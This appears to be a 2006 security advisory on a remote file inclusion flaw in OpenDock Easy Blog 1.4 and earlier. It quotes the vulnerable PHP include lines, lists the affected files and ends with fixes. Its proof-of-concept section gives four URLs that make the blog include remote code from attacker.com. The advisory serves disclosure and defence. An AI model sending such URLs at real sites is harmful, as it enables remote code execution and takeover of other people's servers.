-----------------------------------------------------------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : October, 09th 2006
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv50-theday-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : OpenDock Easy Blog
version         : <=1.4
URL             : http://web.opendock.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder sw/lib_up_file/ I found vulnerability script file.php
--------------------------file.php---------------------------------------
....
<?

 include $doc_directory.$path_sw."lib_up_file/lib_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
 include $doc_directory.$path_sw."lib_up_file/find_file.php";
 include $doc_directory.$path_sw."lib_up_file/down_stat.php";

...
----------------------------------------------------------

Input passed to the "$doc_directory" parameter in file.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_up_file/down_stat.php
sw/lib_up_file/file.php
sw/lib_up_file/find_file.php
sw/lib_up_file/lib_read_file.php
sw/lib_up_file/lib_form_file.php
sw/lib_comment/find_comment.php
sw/lib_comment/comment.php
sw/lib_comment/lib_comment.php
sw/lib_find/find.php
etc..



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $doc_directory on affected files.
- Turn off register_globals
